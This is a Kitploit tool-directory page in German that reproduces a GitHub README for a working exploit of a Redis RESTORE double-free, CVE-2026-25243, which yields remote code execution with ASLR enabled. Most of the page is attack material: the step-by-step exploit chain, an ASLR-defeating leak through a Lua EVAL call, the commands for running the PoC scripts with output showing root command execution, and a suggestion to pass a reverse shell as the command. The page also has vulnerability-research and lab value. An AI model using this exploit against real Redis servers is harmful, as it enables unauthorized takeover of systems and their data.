Skip to content
KitploitKITPLOIT
ToolsExploitsBlog
Log in
Einreichen
ToolsExploitsBlog
Einreichen

Hacking-, PenTest- und Cybersicherheits-Tools für Ihr Sicherheitsarsenal!

Kitploit ist ein Verzeichnis von Hacking-, Cybersicherheits- und Pentesting-Tools. Entdecken Sie die neuesten Projekt-Updates, um Schwachstellen zu finden, Systeme zu analysieren, Tests zu automatisieren und Ihre Sicherheit zu stärken.

FeedsKontaktDatenschutz© 2026 Kitploit

Tool-Verzeichnis

Kategorien

Alle Kategorien anzeigen
Loading categories
CVE-2026-25243 — CVE-2026-25243 — Redis RESTORE zipmap double-free → Remote-Codeausführung (ASLR aktiv). | Kitploit
Tools/GitHubGitHub/dinosn/cve-2026-25243
SpeicherforensikSchwachstellenanalyseExploitationReverse EngineeringPenetrationstestsRemote-Access-ToolPayload-EntwicklungBinary-Exploitation
GitHubdinosn/cve-2026-25243

CVE-2026-25243

CVE-2026-25243 — Redis RESTORE zipmap double-free → Remote-Codeausführung (ASLR aktiv).

Repository anzeigen
1334vor 4 MonatenNoch nicht geprüft

Beliebteste

Alle anzeigen →

Entdecken Sie die meistgenutzten Tools unserer Community.

Alle Tools erkunden

Durchsuchen Sie unsere Tool-Sammlung

Alle Tools anzeigen →
Teilen

CVE-2026-25243 — Redis RESTORE zipmap double-free → Remote-Code-Ausführung

TL;DR. Eine fehlerhafte DUMP-Nutzlast, die an RESTORE übergeben wird, löst einen Double-Free auf dem Heap im Legacy-Hash-Zipmap-Loader von Redis aus. Mit dem Standard-jemalloc bleibt der Double-Free still (der Server läuft weiter), was ihn in ein steuerbares Type-Confusion-Primitiv verwandelt. Dieses Repo verknüpft das zu Remote Code Execution bei aktiviertem ASLR — der Redis-Worker ruft system("<attacker string>") auf und bedient weiter. Kein DoS.

# default Redis (DEBUG disabled), ASLR on — the most self-contained exploit (NO libc offsets):
$ python3 exploits/poc_rce_aslr_pie_rop.py --cmd "id > /tmp/pwned_pie 2>&1"
[*] self-cal: blob_base=0x7f352d800009 blob_robj=0x7f353286b8d8 pie_base=0x557ea9149000  (NO libc)
[*] fake dictType F=0x7f352e013c36  g1=0x557ea93cca87 execve=0x557ea91cee80
$ cat /tmp/pwned_pie
uid=0(root) gid=0(root) groups=0(root),...    # <- execve("/bin/sh","-c",<cmd>) as the redis process

Der Leak, der ASLR aushebelt, kommt ohne DEBUG aus — er liest die Adresse der Lua-C-Closure redis.call (EVAL 'return tostring(redis.call)'), dieselbe in sich geschlossene, DEBUG-freie Technik wie bei unserem früheren Redis-Exploit. blob_base/blob_robj und die PIE-Basis werden dann zur Laufzeit aus dem Over-Read abgeleitet (kein festes Offset). Der PIE-ROP-Abschluss ruft execve@plt über einen JOP-Stack-Pivot auf und verwendet damit null libc-Adressen — die einzigen buildspezifischen Konstanten sind PIE-relative Gadget-Offsets, die aus der redis-server-Binärdatei gelesen werden, genau wie die pro Build erstellte Gadget-Tabelle unseres früheren HLL-Exploits. Verifiziert mit uid=0(root), ASLR an, 8/8, auf einem Standard-Server mit deaktiviertem DEBUG.

Es werden zwei Abschlussvarianten bereitgestellt. poc_rce_aslr_pie_rop.py (oben) ist die in sich geschlossenste — kein libc, vollständig selbstkalibrierend — aber execve ersetzt den Worker (nutzt eine Reverse-Shell als --cmd; am besten für eine echte Shell). poc_rce_aslr_selfcal.py hält den Worker am Leben (system() forkt) auf Kosten von zwei libc-Versions-Offsets. Entscheiden Sie danach, ob der Server überleben muss.


Der Bug

RESTORE key 0 <DUMP-payload> deserialisiert ein serialisiertes Objekt. Für den alten Typ RDB_TYPE_HASH_ZIPMAP (0x09) sind sich Validator und Konverter uneinig, wie viele Bytes ein Längenfeld belegt:

  • zipmapValidateIntegrity() läuft mit der tatsächlichen kodierten Größe (5 für das überlange 0xFE-Präfix);
  • zipmapNext() verwendet bei der Konvertierung zipmap → listpack für jede dekodierte Länge < 254 nur 1 Byte.

Eine kleine Länge in der überlangen 5-Byte-Form besteht die Validierung, veranlasst zipmapNext() jedoch zu einem Fehlsprung von 4 Bytes. Aus demselben Fehlsprung ergeben sich zwei Konsequenzen: ein Over-Read auf dem Heap (zipmap.c) und, nur bei Redis, ein Double-Free auf dem Heap im Hash-Zipmap-Loader von rdb.c:

sds field = sdstrynewlen(fstr, flen);
if (!field || dictAdd(dupSearchDict, field, NULL) != DICT_OK || !lpSafeToAdd(lp, flen + vlen)) {
    dictRelease(dupSearchDict);   // (1) dictAdd took ownership of `field` -> freed here
    sdsfree(field);               // (2) freed AGAIN  -> double-free
}

Valkey schützt dies ab (if (!field_added) sdsfree(field)); das ursprüngliche Redis tat das nicht, daher ist der Double-Free nur bei Redis vorhanden. Der Fix lehnt die überlang kodierte kurze Länge ab und ordnet die Prüfungen beim Laden neu.

Die Exploit-Kette (Redis 8.6.2, x86-64, jemalloc, PIE/NX/partial-RELRO)

silent double-free  ->  type-confusion overlap  ->  arbitrary pointer-forge
   ->  forge a hashtable hash's  dict->type  to a fake dictType
   ->  HGET hd "<field>"   ==   dictFind -> type->hashFunction(field)
      libc path  (selfcal): hashFunction = &system            -> system("<cmd>")   (worker survives)
      PIE path   (pie_rop): hashFunction = JOP-pivot g1, field = ROP chain
                            -> leave;ret pivots rsp onto the field
                            -> execve("/bin/sh","-c","<cmd>")  via execve@plt        (no libc, no DEBUG)

Das gefälschte dictType wird in einem 16-MB-String (SETRANGE) an genau dem Offset platziert, dessen Adress-Niedrigbytes mit dem sds-Header des Angreifer-Strings übereinstimmen. ASLR wird vollständig zur Laufzeit ausgehebelt:

  • system — ein einzelner Heap-Pointer-Leak. Der empfohlene Weg ist DEBUG-frei: die Adresse der Lua-C-Closure redis.call (EVAL 'return tostring(redis.call)') — derselbe in sich geschlossene Leak, den unser früherer Redis-Exploit nutzt. Die jemalloc-Arenas liegen in einem konstanten Offset zu libc, daher gilt system = leaked_robj + Δlibc + system_off. (DEBUG OBJECT ist nur eine Laborkomfortfunktion, wenn Skripting deaktiviert, aber DEBUG aktiviert ist — die seltenere Konfiguration.)
  • die Adresse des 16-MB-Blobs (ein unabhängig randomisierter mmap) — mit dem eigenen Arbitrary-Read des Bugs gelesen: Fälschen Sie das Dict eines SET so, dass sein Element ein 107-KB-SDS_TYPE_32-sds ist; SMEMBERS liest über den angrenzenden Heap hinaus, und robj.ptr des Blobs wird an seinem bekannten Offset gelesen.

Siehe WRITEUP.md für die vollständige Analyse Primitiv für Primitiv und die mühsam erarbeiteten jemalloc-/Redis-8.x-Details (Class-64-Grenze, Dict-Entry-Tagging, Hash-Feld-mstr, Keyspace-Pre-Grow).

Labor

docker build -t cve-2026-25243 .
# stock (jemalloc) demo — DoS-or-not? shows the type confusion (no tooling):
docker run --rm -p 6379:6379 cve-2026-25243

# full chain — DEFAULT config (DEBUG disabled), the recommended exploit:
sysctl -w kernel.randomize_va_space=2            # ASLR ON
redis-server &                                   # DEBUG is off by default
python3 exploits/poc_rce_aslr_selfcal.py --host 127.0.0.1 --port 6379 --cmd "id > /tmp/pwned 2>&1"
Dateiwas es demonstriert
★ exploits/poc_rce_aslr_pie_rop.pyam in sich geschlossensten — RCE auf einem Standard-Redis (DEBUG aus), keine libc-Offsets; selbstkalibrierend blob_base/blob_robj/pie_base; execve@plt über JOP-Pivot (Worker wird ersetzt). 8/8.
★ exploits/poc_rce_aslr_selfcal.pyWorker überlebt — gleiche Kette, aber hashFunction=&system (forkt); auf Kosten von zwei libc-Versions-Offsets (DLIBC/SYSTEM_OFF). Lua-Closure-Leak, selbstkalibrierend blob_base/blob_robj.
exploits/poc_rce_aslr_nodebug.pyDEBUG-frei (Lua-Leak), aber mit festen Offsets (mit DEBUG kalibriert)
exploits/poc_rce_aslr.pyLaborkomfort-Variante: DEBUG OBJECT-Bootstrap-Leak (benötigt aktiviertes DEBUG)
exploits/poc_rce_aslr_off.pyRCE mit ausgeschaltetem ASLR (kalibrierte Adressen)
exploits/poc_typeconfusion.pyDouble-Free → zwei Schlüssel teilen sich einen Heap-Puffer (kein Werkzeug)
exploits/poc_doublefree.pyder Double-Free (ASan: heap-use-after-free in sdsfree)
exploits/poc_dos_overread.pyder Over-Read-Absturz (ASan)

Der Leak zur Überwindung von ASLR (ohne DEBUG)

Der Bootstrap-Heap-Pointer-Leak folgt demselben Ansatz wie unser früherer Redis-Exploit: Die Adresse der Lua-C-Closure redis.call wird mit EVAL 'return tostring(redis.call)' geleakt. Lua-Skripting ist standardmäßig aktiviert; DEBUG ist standardmäßig deaktiviert (enable-debug-command no) — der Lua-Leak ist also der realistische Primärweg, und DEBUG OBJECT (poc_rce_aslr.py) ist nur ein Laborkomfort. poc_rce_aslr_selfcal.py leitet blob_base und blob_robj dann zur Laufzeit aus dem Over-Read ab (Scan nach der 16-MB-Blob-robj-Signatur), sodass DLUA/DFOBJ nur ungefähr stimmen müssen.

Tool herunterladen